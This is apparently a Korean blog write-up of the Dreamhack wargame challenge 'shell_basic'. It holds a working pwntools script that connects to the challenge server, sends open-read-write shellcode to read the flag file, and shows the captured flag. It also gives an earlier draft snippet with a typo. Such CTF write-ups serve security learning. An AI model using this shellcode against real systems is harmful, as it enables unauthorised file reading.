1. Prob
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.
2. Analysis
깔끔하다. 말 그대로 shellcode를 실행시키는 프로그램으로 확인 된다. 다만 execve와 execveat 시스템 콜을 사용하지 못하도록 코드에서 막아두고 있다. flag 파일의 경로와 이름을 주기 때문에, 해당 파일을 읽는 shell code를 전송하면 될 것으로 보인다. shellcode 제작과 관련해서는 dreamhack의 shellcode 탭을 참조하도록 하며, 해당 강의에서 언급한 orw (open read write) shellcode를 작성하면 될 것 같다.
분석을 따로 진행하지는 않았으며, pwntools의 shellcraft 기능을 사용하여 문제를 풀이하였다. 본래 shellcraft는 누군가 만든 shellcode 작성 도구였으나, pwntools 등장 이후 checksec과 마찬가지로 기능이 편입되었나보다. 그 외에도 정말 많은 기능들이 있다는 것을 알게 되었다. 이 기능들을 전부 사용하게 될 지는 모르겠다...
shellcraft를 사용하여 orw shellcode를 만들 때, 각 함수의 인자로 어떤 값이 필요한지만 알고 있으면 제작은 간단하다. 단 shellcraft를 통해 생성된 쉘 코드는 어셈블리어 형태이므로 이를 opcode로 바꿔줄 수 있도록 asm 함수를 사용하도록 하며, 쉘코드가 동작할 환경의 아키텍처를 반드시 명시해야 한다.
from pwn import*
context.arch = 'amd64'
shellcode = ''
shellcode += shellcraft.open(<path_to_file>)
shellcode += shellcraft.read('rax', 'rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', x030)
sc = asm(shellcode)
3. Payload
군말할 필요 없다.
from pwn import*
p = remote('host3.dreamhack.games', 14514)
context.arch = 'amd64'
flag = b'/home/shell_basic/flag_name_is_loooooong'
shellcode = ''
shellcode += shellcraft.open(flag)
shellcode += shellcraft.read('rax', 'rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)
p.recvuntil("shellcode: ")
p.sendline(asm(shellcode))
python shell_basic_ex.py
[+] Opening connection to host3.dreamhack.games on port 14514: Done
/home/gssong/Desktop/shell_basic_ex.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("shellcode: ")
[*] Switching to interactive mode
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
ong\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 14514
'Wargame & CTF > Dreamhack' 카테고리의 다른 글
off_by_one_001 (0) | 2025.01.22 |
---|---|
basic_exploitation_003 (0) | 2025.01.16 |
basic_exploitation_001 (0) | 2024.12.18 |
baby-bof (0) | 2024.12.17 |
bof (0) | 2024.12.17 |